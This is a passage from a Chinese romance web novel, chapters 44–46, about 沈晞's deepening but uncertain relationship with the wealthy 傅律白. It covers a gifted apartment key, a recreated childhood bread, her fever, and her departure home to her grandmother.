姜瑶指着那里说,听说总共就六套,有市无价想买都买不到,真好看啊,不知道这辈子有没有戏住进去……啊,不参观一下也好。
沈晞从未肖想过这些,便对这些无所谓,却也还是笑着和她讲:那姜大小姐好好努力,到时候我好沾一沾光。
姜瑶睨着她笑,知道她是在打趣她,下一秒又有些向往和惆怅的说:总共六套诶,想想也知道都是什么人才能买喽,努力也努力不上喽。
没想到他就把那把钥匙放到了自己面前。
这是什么意思?这……对于只是玩玩之间的关系,给的是不是太大了点?
她知道傅先生向来大方,可这又哪里只用“大方”来形容。就像姜瑶说的,想想也知道是什么人才能住,她哪里敢住,哪里住得起。
傅律白自然看出了她的退缩与闪躲,但却像是没看到一样,还是那副完事不过心漫不经心又含些笑的语气,“怎么了,不是说最喜欢我了,送你点东西都不敢收?”
沈晞总爱肆无忌惮用着不走心的玩笑语气,悄悄说着心里话,就好像这样她就不用有承认对他感情的心理负担。这样被他忽然提及,她的脸色红了红,又有点心虚。
而且这哪里是“点”东西?!
他但凡只是送她一套普通的商品房,她或许都可以毫无心理负担的住进去,等关系结束时,再还给他。但现在不一样,这房子实在是太扎眼了,他像是用着这种方式强势的将他们的关系昭告天下,她确实不敢。
在这之前,所有人都觉得他们不长久只是兴致而来的成年人游戏玩玩而已,才反而让她更自在,更没有什么心理压力,如今傅律白加上这么一码,是什么意思?
是要和她继续加深羁绊,真到不死不休的程度?
她承受不了,也害怕那样深的投入。
她仍僵在那里,表情快要维系不住。
傅律白却将那钥匙环轻轻扣入她的食指上,慢慢地套上去,阳光打上去,一切像是开了慢放,就像是在戴戒指,沈晞下意识地看着,直到钥匙环推入抵,微凉的触感刺到指尖,沈晞才猛地回过神来,手一仰的就要摘下来还给他,不过她的手指太细,钥匙“唰”的一下从她指尖甩了出去,直接掉在了地上,发出“啪”的一声。
这一声,像是给两人之间那不清不楚的关系一痛击,直接将虚假的空中楼阁打碎。
房间有一瞬间的寂静,安静的好像连空气都凝固了。
傅律白却弯腰将钥匙捡了起来,笑着说:“第一次看见有人送房子不要的。”
要是换做以前,沈晞大抵会俏皮又带着点酸的说上一句:怎么,你经常给人送房子么?这么有经验。
来打破此时的尴尬,将这个话题接过。
但她此时实在是问不出。就算是,可送到这种程度,也就仅此一份了。
他总不能够将那六套全弄过来,对谁有些兴趣了便送上一套。
可即便是傅先生,也不能将那六套全占的。
物以稀为贵,有时稀少便足以代表着某些身份和象征了,即便是傅先生怕是也只能从中得取那么一套。
就这么给了她。
沈晞此时能做的,也只是下意识看着那串钥匙的水晶小模型,也不知做了什么特殊处理,竟然挺结实的没碎,但傅律白捡起时有在空中停滞了那么一两秒,在光下,她还是看到了房檐那处,出了一小道裂痕。
可惜了。
之后两天,沈晞收拾行李,理所应当的住到了傅律白这里,他们当然没坐在沙发上等人来轰,甚至连照面都没打,钥匙都是傅律白叫了个人等房东来验收。
至于有没有说上几句什么给房东添堵,让沈晞出出气的话,沈晞便不知道了。
也不太关心。
那日的事情,好像没有给两个人之间造成什么影响,甚至还像是什么都没发生一样,问她有没有刷到什么想吃的店,沈晞赶紧拿出手机来随手指了一家,但运气不好,味道并不怎么好吃,挑剔的傅律白并没有吃上几口,沈晞也没吃几口,没那个心情,但也感谢味道的不好,让她有了不怎么吃的理由。
傅律白则不想在这受委屈,付了钱后便带她转战了下一家店,沈晞觉得怪可惜的,浪费食物。
回去后便在大众点评上发了个两千字长文痛击,批判这样浪费食物的行为很不好,厨艺不精就先再练练。
还不如傅律白,哦,忘了说,傅律白的那道腌笃鲜是真的做的还可以,和那位老师傅差不多,并不是她有滤镜亦或是那日太过消耗。
反正,她就是觉得,吃过老师傅做的后,傅律白也并没有被比下去,她坚定的这样认为着,反正也没有别人再有幸吃过傅律白做的饭。
傅律白带她转战的店,不远,就在附近,步行了也就五分钟。是个挺小的胡同小店,停下时,她愣住了,竟然是个羊汤店。
傅律白问她受不受得了这个味,沈晞还真没试过。
但这样的苍蝇小馆,傅律白还敢带她来,那说明味道一定是可以的。
她实话实说,但还是决定尝试一下。
味道竟然出奇的好,十五块钱就让她吃的饱饱的,还附带了饼丝。
沈晞问他,怎么会知道这家店的。
这家店看上去实在是与他的气质不符,但看他刚刚轻车熟路的样子,看来就算不是常客也是吃过几次的。
傅律白告诉他,当时在京市读大学时,被室友带来吃过几次。
看来学生时代的傅律白,也曾想
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要感受普通人的人生,低调且接地气的活着,其实他现在在某种程度上,也活得很接地气。
其实她想问问他,是在国内读书更开心一点还是在国外。
应该是国外吧,谁都不认识他,他就只是傅律白,是他自己,他没有任何关于身份的枷锁,可以去和寻常人一样读书学习、跑自修室、甚至可能偶尔逃逃课,谈谈恋爱约个会。
想到这,沈晞忍不住先问了后面这个问题,“你在学生时代有谈过恋爱么?”
那样一个纯粹的时光,他的顾虑或许可以更少一点,爱起来大概也更纯粹,谈得也更轻松愉悦。
“没有。”傅律白告诉她,或许是之前的氛围并不算好,此时也未逗一逗她说。
“很意外?”他看着她的表情又问,因着她表情的鲜活而让他语调中带着点不易察觉的笑意。
确实很意外,以傅律白的外形气质与条件,不可能没人喜欢啊,此刻她竟然觉得自己的眼光没得到认可而感到荒谬的生气。
一定是外国人口味太奇怪,眼光和国内人不同。
又怎么会,傅律白这样的人,在哪里都会很受欢迎的,但傅律白对谁都保持着疏远的绅士,渐渐地那些姑娘自然也就放弃了。
傅律白解释着。
沈晞勉强接受这个理由,又问:“那就没遇到你喜欢的么?”
傅律白有些无奈,他当时,父亲的出事不确定是否是家族内部的动荡,都让他无暇分心,以及从中学习、思考汲取的快速成长,又哪里让他有心思在感情上。
沈晞还是觉得不合理,“一般这种情况,不都是应该出现个有着小草般坚韧美好品格的女学生出现,闯入你的视野里,然后你被她的美好品质折服,难舍难分,这样才对啊。”
傅律白意味深长的睨着她,淡淡地说:“目前为止我只喜欢过这么一个女学生。”
他没点名没道姓却让沈晞心脏怦怦跳,觉得他变坏了,他不走心的情话也能这样张口就来了,这才让沈晞偃旗息鼓不再追问。
而是快速的转移了话题,问,他是在国内快乐一点还是在国外。
傅律白告诉她,那当然是国内。
这个回答也让沈晞很惊讶,问他为什么。
可傅律白告诉她的答案竟然是:“国内的食物更符合口味。”
他竟然没骗她,他原来是真的享受口腹之欲的。
但后来,沈晞在国外生活多年后才知道,那不是享受口腹之欲,一是真的很单调乏味,二也是……那是一股说不清道不明的思乡的家的味道。
但到底还是有什么不一样了,那本就不牢固的关系变得更加的易碎意断,甚至带着几分压抑的若即若离。
事后,沈晞趴在床上不想动,也拒绝了傅律白将她抱过去的建议。
傅律白不一会儿洗好澡走出来,头发半干不干前额碎发微乱的垂在额前,微微挡住了那双温淡的眼睛,将他整体的五官衬得越发的立体,浓颜,带着十足的冲击力,让人不由的想去深看他的全部。
他穿着黑色的浴袍,腰带松松垮垮的系在腰间,勾勒出他劲瘦的腰肢,领口有些大,微微露出他紧实有着薄肌的胸口,额前碎发还在微微滴水,有一滴顺着下巴滑到了胸口,又一路向下。
他就那样向自己走过来,如山般挺拔高大可靠的身躯,此时又是这样的居家可亲,触手可及,沈晞的眼泪却忽然止不住的落下来,她以后不一定能够见到了,现在这样的触手可及以后隔着千千万万丈远,单是想想,她就觉得很难过。
“怎么办啊,傅律白,我好像越来越喜欢你了。”喜欢到叫她害怕,叫她难过,叫她失去不了,只是想到那一天,她现在便开始受不了了。
“喜欢我,是一件让你难过的事么?”傅律白觉得自己听到这话,应当是想笑的,可她现在真的很难过,哪怕只是靠近她,便感受到了那份难过,于是他俯下身来,双手捧起她的脸,用拇指抹去她的泪。
他的动作很温柔,这温柔的像是被怜惜的触感,再次让沈晞浮起眼泪来,然后看着他重重的点头,像是要将那委屈与无力传递出来。
44. 第 44 章
那之后沈晞的情绪就一直很低落,连姜瑶叫她出去,姜瑶那么一个快乐小狗性格的人在她身边叽叽喳喳,热闹喧腾的都没将她的情绪带动起来。
而后察觉的出的问她,“茜茜你怎么了?”
沈晞像是才回过神来一样,静静地摇了摇头,扯出一抹勉强又虚弱的笑来。
姜瑶并不知道她和傅律白的关系,不是不敢说,只是觉得没必要,况且以姜瑶那样的性格,即使告诉她,她也一定会热气喧腾的觉得这很酷,甚至有可能拉着她,叫自己带她去见世面。
只是她不知道要如何回答——
怎么了?
怎么了呢。
只不过是她觉得自己喜欢的越来越深,越来越失控,一旦超出了掌握就会心生忧惧起来。
傅律白来接她时,她也仍旧是蔫蔫的,非常没有出去玩回来时应有的兴奋,她闷闷不乐的看向窗外,整个人都很低落。
窗外秋叶在坠落,不久前刚下完了一场秋雨,秋叶被雨水打湿黏在地上,变得落败与腐朽。
竟然已经入秋了。
她回来时,还是夏季,她和傅律白保持着这样的关系,竟然已经近两个月,时间过得可真快。
又真慢,竟然这样,也才不过两个月,如果这就是一生,她想,她也是愿意的。
京市的秋季,如果不是艳阳天,不会有任何的秋高气爽感,反而格外的萧瑟,她看着一片片腐烂的被行人践踏的叶子慢慢的眼睛发胀,谁还记得它们曾经也翠绿欲滴惹得人争相围观拍照,如今行色匆匆漠然的连一个眼神都不愿给。
而花有重开日,明年入春会依旧再次被人热烈的喜欢起来,可人呢。
又哪里能重复当日好光景。
即使是花,明日看它的那些人,也曾是当年看它的那些么?
正兀自出神,手上忽然一沉,只见一个长长的、包装略有些古朴的……这是,面包?
躺在了自己的手上。
沈晞愣了下,忽然想到了什么,有些惊喜的问:“你找到了?”
有一次两个人无意间聊起了童年,沈晞和他说,她小的时候超级爱吃一款面包,长长的,应该是长的,她记不太清了,里面夹着劣质的草莓奶油,但是放到当时真是绝味,后来她总会想起那个味道,总想找,却再也没找到。哪怕是近些年,复古怀旧风浪潮掀起,万能的网购都没能再让她找到。
每一次,上面写着“8090回忆店”她兴兴的点进去又悻悻而出。
“先尝尝对不对。”傅律白并没敢和她打包票。虽然他专门托人找了当地的食品卫生局等相关的负责人,又探寻了当年的一些经销商,描述着味道,最终有人回忆起,又问到了相应的厂商。
那是一家早就在快速更新换代的浪潮中早就倒闭了的工厂,老板也早就改换了行业,但他还是亲自走访拜托,请老板尽量找回当时的配方和制作方法来。
可毕竟时过境迁,无论是制作过程记忆的偏差,以及原材料的升级,都很难再百分之百还原。
怕她失望。
沈晞却已经满怀期待起来,像他这样沉稳的人,没有把握的事他不会拿出来。
她撕开袋子,露出面包体来,原来并不是长长的,是长圆锥形的,她期待的咬了一口——
没咬到馅……
这也……太对劲儿了。事后傅律白告诉她,怕不够还原出她之前吃的味道来,所以每个细节都尽量做出了原版,如果她喜欢吃,以后会出个改良版满馅的来。这简直再好不过,小时候的沈晞就每每拿到面包前许愿,希望这次的馅可以满一点,偶然吃到些馅多的,她都会快乐到第二天。
但此时的沈晞直到咬到第二口时,才咬到了一点馅,第三口时才将馅吃个满口,那个像是总是充满午后阳光的、暖洋洋又恣意明媚的童年好似随着草莓奶油一起涌入脑海中,她好像又回到了那个,无拘无束只要妈妈下班回来,都会特意为她再多跑十分钟给她带回一个她喜欢的草莓奶油面包,她就会快乐的拿在手里吃,连作业都不做,她可真是从小就活得肆无忌惮。
沈晞有些想笑,又有些想哭。
“终于肯笑了。”傅律白看着脸上浮现起小孩子般微笑的人说。
他像是轻松了口气,又像是有着无尽的叹息,就好像,她笑起来,是解了他心中的一块大石头,让他辗转反侧为此苦难。
沈晞抬起眸来,目光有些悠悠的看着他,连声音都悠悠的像是带着气音,“我开不开心,你很在意么?”
更像是在和自己讲,也并未执著的寻求一个答案。
傅律白却目光幽深的看着她,“让你不开心,是种罪过。”
她本就恣意生长,热烈的绽放着,世间少有这样鲜活热烈的美好,谁叫她落败不开心,都是世间的罪人。曾经也不过是想尽自己可能保护着她这么美好的绽放,并非是他夸大,他曾经觉得他傅律白想护一个人无忧无惧的自在一生,总是可以的。
但如今,让她不开心的,竟然成了自己。
这个面包,就连小时候,那个曾经随处可见小卖部,有人的地方便能抱个盒子支起小摊的时代,这个面包卖的都很少,她记得只有固定两家小卖部可以买到,再后来便只剩下一家,最最后,连那家也都不再卖了,她就再也没吃到过。
这款面包,比其他东西,离开她的童年还要早,大概是她过于喜欢珍视的东西总是不顺遂。
所以她没有想到傅律白能真的帮她找到。
还用着这样的语气和她讲,说,“让她不开心,是种最贵。”他说的很真诚,认真的她再次不受控制的落下眼泪来。
可她明明在哭,可理智却还是不相信觉得他不过是逢场作戏的情话而已,但内心深处,又无比渴望这是真的。
“怎么又哭了?”见她落泪,傅律白有些无奈又有些心如同被她的泪揪起来一般紧张与心疼转过身来问。
想看一看她,抱一抱她。
但他才一转身,便被沈晞率先抱了过来,好在车子已经拐进附近的别墅区,傅律白转身时已经将车子停靠在了路边,不然要出大事。
但沈晞此时已经什么都注意不到,只是很想吻他,无论他是真是假,亦或只是虚情假意的哄哄她,那就让她暂时将这句当成真的吧,她无法确定也确定不了。
只知道此刻他的人是真的,他温暖的怀抱是真的,他的吻也是真的,她在听到他这句话后,唯一的,能做出来的最确定的情绪与反应就是,想要占有此刻此时的他,想要将他融进骨血里,她的泪低落进他的颈窝里,她的唇炙热又温暖,带着股不顾一切的专注与沉醉。
她的吻很热,泪也很热,这样的温度与情绪将傅律白瞬间震撼到,甚至连震惊于她会忽然这样都也只一下,便被抛之脑后,只下意识地吻她,回应她。
像是不回应她的吻,也是一种罪过。
好在车子早已做好防窥层,可到底也只是一辆小轿车来,并承受不怎么住两个人的重量来,从外面一过便可以清楚的知道里面的人在做些什么。
可沈晞好像什么都不在意,只是将他按在车座上,半跪在他身侧,一只手像是怕他跑了一样抱住他的脖子,另一只则依恋的抱着他的肩,让自己能和他的胸怀贴的更紧,沉陷在他的怀抱里,闭着眼睛认真的吻他。
她闭着眼,卷翘的长睫轻垂,脸微红,认真吻他的样子,竟然莫名带着股神圣,就好像这是她的全世界,是她此时最重要的事,既征服也又享受,温柔又带着股野性,膜拜也带着股占有的摧毁。
看的傅律白喉结滚动的,一边回应他,一边将车座放平。
可即使这样,轿车还是太小了,密闭的空间里,热气腾腾的,且温度还在升高,空气都变得稀薄粘稠,带着股甜腻的味道,这样狭小的地方是不方便傅律白动的,可偏偏沈晞向来是被伺候与享受的那个,对此一窍不通,此刻也并不怎么适合引导她,时间和地点都不太对,很不得章法将两个人额间都逼出了些细汗来,还磕到了头顶,最后还是两个人有些困难的换了位置。
再次躺下来,背落了地,沈晞
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便自如了许多,习惯性的去双手环抱他的脖子,静静地看了他几秒,像是在看清他,而后小口小口的吻他。
傅律白发现,她总是很爱在这时看他,眼波流转带着水雾的却看的很认真,像是要将他细细描摹刻进脑海里一样,每次她都被这样看的发狂,越发的掠夺与占有着。
大概是地点与情绪的刺激下,沈晞几乎哭了全程,结束时她的眼睛都有些肿了,这让傅律白觉得自己好像在欺负她。
他将自己的外套披在她的身上,她小小一只,无论他的什么衣服在她身上,都可以将她裹住一样,而后将人整个抱进怀里,像是抱小孩一样,大手轻拍着她的背安抚着,“怎么还在哭?”
而后另一手抵在她的侧颈,摩挲着她的脸颊和侧颈,一边轻托起她的脸来,再次轻吻着她的唇角,安抚着。
沈晞也不知道为什么,只是不受控制的流泪,最后直接哭累了睡在了他的怀里。
连最后怎么被傅律白带回去的都不知道。
大概是近日来情绪波动,又赶上秋雨后降温,再加上车上那段给冻着了,半夜沈晞竟然发起烧来,傅律白是被她给躺醒的,顿时心里咯噔了一下。
这得烧到多少度。
一测体温,果然已经三十九度多,奔着四十去了,他衣服也没换,穿着睡衣的就把人给抱了起来,打算带人去医院,谁知回程路上都没醒的人,这时却在他怀里醒了。
他多少松了口气,还以为人晕过去了,她在他怀里有些不安的动着,他双手都抱着她,没办法拍拍她,只用脸安抚般蹭了蹭她的脸说:“你发烧了,我带你去医院。”
沈晞却不安分起来,恹恹又抗拒的说:“不去。”
那声音细细小小的,听上去可怜极了。
“听话。”他像是在哄一个生病不乖的小朋友。
但沈晞到底不是小朋友,是个一百来斤的成年人,她不配合傅律白也很难强行带她走。她一边没什么力气的抗拒着,一边说:“不去,我懒得动。”
“又没让你动。”傅律白又是好笑又是无奈,同时像哄小孩般带着些笑音的说,“我这不抱着你呢么,我抱你去。”
“你别折腾我了,我不舒服,我只想躺着。”她说气话来,每一句都哼哼唧唧的又很虚弱。
他还就真舍不得她动了,又将人放进了被窝里,她动了下,看姿势大概是想把自己裹成蚕宝宝,但是她连把自己裹起来维持蜷缩的力气都没有了,顿时不满又委屈的微嘟起嘴来。
傅律白又是好笑又是心疼,弯腰俯在她身侧,怜惜的摸着她的脸,“只是发烧么?还有没有哪里不舒服?有哪里疼么?”
他怕她身上有什么炎症来。
回答他的,又是一声很轻很浅的哼唧,大概是没有。
他多少放下些心来,喂给了她一片布洛芬,又拨了通电话过去,已是半夜两点多,但他还是要麻烦一下医生过来。他并不怎么爱生病,便也并未请过家庭医生,但也熟识一位退休后,又在一家私人医院返聘的院长。
老爷子来得很快,半个多小时便过来了。
大概是药力起了作用,沈晞开始出汗,开始不舒服的哼哼唧唧乱动,傅律白便拿着打湿的毛巾,一边给她擦着额间的汗,一边轻声哄她。
生起病来的沈晞有些难搞,并不怎么听话,只哼哼唧唧的说着难受,傅律白只能半抱着她的两个胳膊以防她乱掀杯子,但沈晞正难受着又怎么会老师待着,虽然没力气也和他推拒反抗着。傅律白又不敢用力,压迫到她怕她更不舒服,只能半揽半抱同时安抚般轻拍着她的肩,样子实在是有些狼狈。回过来来,有些头疼又有些心疼的对着老爷子轻笑了下,“您快给她看看,她说她难受。”
老爷子和他打过些交道,平日在国内的定期体检都是他做的。他又何时见过傅先生这般温柔亲力亲为的,就像是在平常不过的男友,在自己女友生病时,有些手足无措。
只是小小发烧而已,便让万事万物都掌控于心,向来从容不迫气定神闲的傅先生乱了分寸。
45. 第 45 章
她出了不少的汗,怕她脱水,傅律白拿来了放了糖的水给她,本来想放盐的,怕她不喝,但沈晞并不配合,不想动一下,也没叫你喂,就那样安安静静的躺着,脸色是不正常的红,唇上都起了干皮,眼睛轻闭着再也不复往日的活灵活现,看上去脆弱又可怜,轻易就让人心疼,让人想主动为她做些什么。
傅律白就那样手托起她的后脑,知道她不想动,连起来都没让她起来,杯子放到嘴边的一口一口喂她,她连吞咽都没有什么精力,小口小口的,傅律白也不着急,甚至每喝一口都感觉愉悦,就好像这样她就能快点打败病魔,好像眼下再也没有什么重要的事,什么多方混乱的局势,什么内忧外患不明朗的家族暗斗,全被被他抛之脑后,都不如她眼下喝下去的这几口水。
沈晞大概喝到第二口后,尝出些味来,不着痕迹的皱了皱眉。
傅律白赶紧问:“不喜欢喝么,你想喝什么,我这就去买。”
沈晞慢慢地睁开眼,看着面前眉眼间都带着几分强压着焦急的人,好意外,她竟然会在傅律白脸上看到这样的情绪。
这一瞬间的情绪真的好难作假,也没必要作假。
她生起病来,总是很磨人,连她妈妈都受不了。有一次她生病,躺在床上哼哼唧唧,她妈妈拿着药碗半是心疼半是头疼看着她说,你这个样子以后可谁受得了你。
小时候的她也是很有脾气的,说,哼谁要他们受了。
妈妈笑着说,那茜茜以后不嫁人了?
她说,嫁人有什么好,我要永远和妈妈在一起。
妈妈也只是摇头笑,大概笑她童言无忌。
可那个永远不可能有受得了她的人,就这样出现在自己面前,完全没有任何不耐烦,全是真心实意的怜惜。她的眼泪不受控制的顺着眼角往下流,滴到了傅律白的手上。
傅律白心都跟着紧了,“怎么了?很难受是不是?再坚持一下,马上就退烧了啊。”
就好像她只是发个烧,就像是天大的事一样。
沈晞脸上的泪越来越多,她带着哭腔的问他,“傅律白,你是不是真的喜欢我啊?”
或者是借着病意,人生病时总是很脆弱,连意志力都变得薄弱,问出了一直不敢问及的话,因为怕这些话在清醒时问,就像是在自取其辱,败的一败涂地。
傅律白带着几分无奈,又带着几分好笑的,认真的问她,“你还要我怎么喜欢你?”
他以为的,是她在说他喜欢的还不够。
沈晞却摇头,不是的。她目光一错不错的看着他,哪怕是带着泪,也认真的像是想要将他看穿一般,又问了一遍,“你是不是真的喜欢我?”
傅律白这次读懂了她眼中的情绪,也听懂了她的话,怔了下,有些哭笑不得的问,“你为什么会这么问?我要是不喜欢你,我做这些是为什么?”
“我以为你只是玩玩,”沈晞的情绪有些控制不住,一开口就哭了出来,她边哭又还是不相信的又问了一遍,“你是真的喜欢我么?”
傅律白直接把人抱了起来,按在了怀里,心也跟着揪起来的轻叹了口气,“茜茜,是我没给你安全感么?”
他知道,他可能给不了她婚姻,但除了这个他对她当真是拿出了全部的诚意来,他以为她已经接受了这样的情况,大家都心照不宣而已,没想到她竟然不是。
他又轻叹了口气,垂眸看着她,“在你心里,我是这样的人?”
只是玩玩?
沈晞眼神闪躲错开了他的视线,她私心里,觉得他不是的,他一点都不是。可是他们这种人,这种圈子里的人,真的很难让人相信有真心。
或许是有的,可感情对于他们来说,也不过就是消遣的事。
但傅律白现在的行动好像都告诉她,不是的,如果这只是消遣,实在是太费力气了,投入的太多了。
看着她来回闪动的眼神,像是在快速的思考挣扎着什么,傅律白在圈子里听过很多也见过很多,又怎么会不知道她所想,他轻叹了口气,看着她认真的说:“茜茜,或许我给不了你婚姻,但我绝对拿出了我全部的诚意,我这么说,你能接受么?”
沈晞也索性抬着眸小声问他,“你的''全部''又有多少?你的世界那么大,可以做的事情那么多,感情也是不是只是你全部世界中,被分成无数份的一部分,无聊时来消遣一下?”
“你看我像很无聊么?”傅律白问她,又无奈笑了下,“茜茜,你是不是太高估了我的精力,认为我对你,只是无数份的一部分,还是用来消遣的那种。”
沈晞说不出话来,她确实觉得傅律白对她,已经足够的上心,如果真的只是消遣,哪怕不是消遣,是他说的拿出了全部的诚意,也确实真的很大的重量了吧,不然她怕是要怀疑他有三头六臂和用不完的精力了。
可沈晞却更加的说不出话来,有些脑容量过载,让她整个人有些发懵。
她一直的沉默,让傅律白有些急了,哑声问她,“还不信?”
沈晞下意识摇了摇头,又怕有歧义,说:“不是。我、我就是脑子有点乱。”
她像是真的很疲倦,连说话都是往下沉的沉重。
她身上也有了些汗意,整个人无力的贴在他怀里,“先休息好么?”傅律白说,现在实在不是思考这些的时候。
沈晞点了点头,她脑子真的闷闷又胀胀,像是浆糊一样,什么也不想再想。
傅律白又拿了条打湿的热毛巾来,给她简单了擦了擦身上的汗,让她能够好受一点,做这些时,沈晞就那样静静地目光一错不错的看着他,带着柔软的依恋,傅律白抬起头时便看到了这样的眼神,他走过去再次将人抱住,沈晞便又这样渐渐地睡过去。
沈晞退了烧,但胃口还是不怎么好,吃着东西都不像之前那样香甜。
傅律白一直觉得她吃东西时很想,很有感染力,才认识时,他便爱看她吃东西,觉得很香,所以累时也总爱去找她,带她去吃东西,自己吃不下,看她吃也会觉得轻松。
后来从表妹那里知道,原来她这样的叫做适合去做吃播。
一个很新兴的职业。她总是很新鲜,很鲜活,朝气蓬勃的走在前端。
但她任何事情,她整个人都很有感染力。
就像,她现在精神并不怎么好,恹恹蔫蔫的,也会让人觉得整个世界都变得低落与沉闷。
沈晞吃完东西,正在傅律白想问她要不要出去晒晒太阳时,沈晞却率先开了口,有些慢吞吞的说:“我等会儿、回家。”
傅律白的表情微顿。
她以为只是玩玩,所以她毫无顾虑欣然赴约,现在发现,他是认真的,便开始重新抉择是否要入场走入这旋涡里了是么?
那她现在是已经做好了决定、像着最初清醒又理智的选择一样,选择离开是么。
沈晞看着他表情微顿
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,就那么静静地看着她也不说话,安静的让她不自在的几乎下意识解释,“我、我外婆要过生日了。我就是、回去看看。”
傅律白眼睫轻垂着,也不知道信是没信,在想些什么,只周到又妥帖的像个最爱的恋人说:“我帮你安排车,再带些东西。”
沈晞却忙拒绝着,“不用,我买好高铁票了。”
“东西”?是指给外婆的么?
她又说:“东西也不用,我回去在给她随便买个小玩意,不然她又会怪我乱花钱。”
她语气间,全是缄默又对他关系与身份的抗拒。那生疏的语言都像是一种刺痛,她是不是在想,他会为她准备一些名贵又很拿得出手的东西,但这些东西恰恰是没办法让她和家里人解释的。
哪里来的,谁给你的,都会让她很为难。
他甚至都不知道她什么时候买好的票,是半夜时就做好了决定?她是不是都没有睡?
沈晞也觉得这样连连拒绝,似乎连空气都透露着窒息的尴尬与别扭来,觉得自己反应的有些过,又语气故作轻松的说:“我刚刚看刚好有票就买了,下午的车。”
说完,又怕他不信,带着几分小心的悄悄打量着他。
好像是她做错了事一样,可她错了什么呢,不过就是喜欢上了一个给不了她未来的人,傅律白轻笑了下,又哪里还舍得让她为难,也用着轻松的语气说:“几点的车,我送你。”
沈晞愣了下,“五点多。”
说着的时候,还是不着痕迹又仔细的观察着他的表情。
傅律白低头看了下时间,“那时间不多了,你行李还没收拾,得抓点紧了。”
“哦……”沈晞愣愣着应,情绪还有点没转换过来,又说,“其实也不用收拾什么,家里都有。”
傅律白眸色不着痕迹的微沉。
说是没什么东西要收拾,但磨叽磨叽还是差点晚了,一路风风火火的,也幸得田师傅的车技,把车都快开出花来了,才赶上。
傅律白看着托着箱子渐行渐远的人,很想问,是否还会回来,又是否会直接像上次那样,不言不语不回复也不拒绝,也成年人的方式冷处理着。
可最终又发现,自己并没有什么立场,他能给她的也就只有这样了,他哪里有理直气壮的底气去询问她的态度,应当尊重她的选择,不给她一点压力——哪怕是情感压力。
所以最后也只化成了一句:“到了告诉我一声。”
哪怕在那之后,她再选择冷处理掉。
“哦……”沈晞慢吞吞的应着。
此时人已经唰完身份证,进了站。可每一步都走的那样慢,明明周围环境嘈杂旅人行色匆匆,可傅律白却只能看到她,看着她走向人海就像是某种电影的慢放,在折磨着他的心。
他忽然叫住了她,“茜茜”
沈晞站住,回过头来。
两个人无声的对视着。
这很有可能就是两个人的最后一眼,最后一面,从此天南海北江湖不见。傅律白忽然大步走了过来,隔着栏杆紧紧地抱住了她。像是有千万个不舍,千万个关于以后得设想与叮嘱,最后千言万语也只化成了一句似是叹息似是呢喃的“茜茜。”
沈晞又差点哭了出来,或许已经哭了,在她被叫住的那一刻,在对上他视线的那一刻,即使还没有离开,就已经开始舍不得他了。她又何尝不知前路茫茫,这一走,还有没有以后。
46. 第 46 章
沈晞坐在院子里,看着外婆拿着长长的剪刀一下、一下修剪着花枝,很有劲儿,小老太太也很洋气,烫了个羊毛卷,鬓角的小卷毛随着她一下一下用劲儿的修剪着枝叶,也跟着一翘一翘的,很可爱。
沈晞唇角不由得勾起个弧度,也还未上扬到头,便慢慢消散。
下意识的低头看了眼手机,上面倒是挺热闹,一些个同城推送,微信里姜瑶也热气腾腾的跟她说了一大推最近好玩的京市活动,约她出来。
大A也发了几个关于策展相关的信息,问她有没有兴趣,上次那个她策划的不错,虽然不是专业出身,很多细节注意不到,但也是因为不是专业出身,反而没了那些个教条感,剑走偏锋的让人眼前一亮,甚至开始有主理人找她点名询问沈晞要不要帮自己策划一整场。
沈晞回复姜瑶,告诉她回了家,近期不在京市。
也回复了大A,让她帮自己回绝,感谢那个人的抬爱。但是她也知道自己几斤几两,有大A在旁边坐镇她玩玩还好,纯粹她自己的话,撑不起那么大的场子来。
消息从上到下捡着都回复完,唯独那一个,安安静静,停留在前两日。
她刚回来那天。
出站时,便有傅律白提前安排好的人来接她,这是当时便说好的,她拒绝了他安排回绍市的车,又拒绝了他安排礼品,气氛已经很尴尬,所以在他说安排好了人在车站接她时,她连忙说好。
既然是他派的人,其实她到没到家,他自然早就知道。
但既然答应了他,她还是在和外婆打完招呼,简单的收拾了一下后,给他发了信息,说自己已经到家。
消息并没有得到及时的回复,屏幕渐渐暗了下去,她的眼睫也跟着垂了下去,就在下一秒,电话忽然弹了起来,屏幕骤亮,好像她的视野也跟着明亮起来。
她微微屏住了呼吸,接听了电话。
“到了。”温沉的声音从那边传来。
明明几个小时前,两人还面对面的说过话,此时再听到他的声音,却让她有着说不清的不自在感。
“嗯。”她轻声应着,一只手指无意识的轻扣着被子。
“又烧了么?”他又问。
“……没有。”沈晞低声说。
其实是又烧了起来,大概是舟车劳顿的反复,不过不是很高,三十七度多没到三十八度,但是不知道怎么跟他说,怕说了,像是一种卖惨的欲擒故纵,明明是你自己要走的,现在算什么样子。又怕他会担心和多想。两个人之间已经够乱的了,她想,他们都需要冷静一下,没有什么外界因素干扰。
因为昨晚在她烧快退下时,他抱着她摸着她的头问:“你每次病起来都会这样么?”
她以为他在说她磨人。
她头抵在他的怀里“嗯”了声承认,她就是这样,是觉得一次可以接受所以尽心尽力,但不耐烦以后了么。
谁知下一秒傅律白却眉头轻皱的又将她抱得紧了紧,问:“那你上次怎么过的?”
沈晞心口紧了紧了,划过了千般滋味,连眼睛都有点发酸,过了两秒才轻声说:“上次病得不重,你还给我讲了故事。”
其实这次也病得不重,发个烧而已,只是她太磨人了。
可他却记在了心里,当回了事。
所以她不想此时的他,也因为这样的情况,而心软做出什么举动来,同时也让她心软,两个人都没有办法冷静和理智。
她说话还有些没精神,她不想他听出来,便想转移话题,刚好听到他那边有着淅淅沥沥的雨声,仔细听,背景还有些嘈杂,不知道在做些什么。
“京市也下雨啦?”她说,“我这里也下了。”
这是一种很奇妙的,因为同样的天气,而感觉相连的情绪。
傅律白却说:“我在苏市。”
也不知道是怕她多想,还是什么,他又紧接着说:“老宅这里,每到这个时候总爱聚一聚——”
像是验证他所言非虚,并不是为她,而来到离她很近的苏市,那边有人叫傅律白,是个女孩子,声音听起来很亲近,隔着电话和雨声断断续续的有些听不清楚,“你在这儿啊,都找你呢。”
“我等会就过去。”傅律白说着。
能在他讲电话时,都这样走过来说上一句,看来关系当真亲近的不一般。
“是我表妹,有一次她来京吃烤鸭,我叫你过来一起,你还记得么。”傅律白的声音几乎下一秒就传来。
沈晞才发现自己原来不知何时屏住了呼吸,此时才呼吸顺畅,嘴角不自觉上扬起来,连声音都带着没察觉的上扬笑意,“你们在干嘛,他们都在找你啊。”
傅律白听着她话音里终于带了笑,松了口气,说:“一些个固定曲目,好没意思。也就糕点还不错,你应该会喜欢,改天我——”
他话音微顿,又很快的语气如常的衔接上,“给你带来尝尝。”
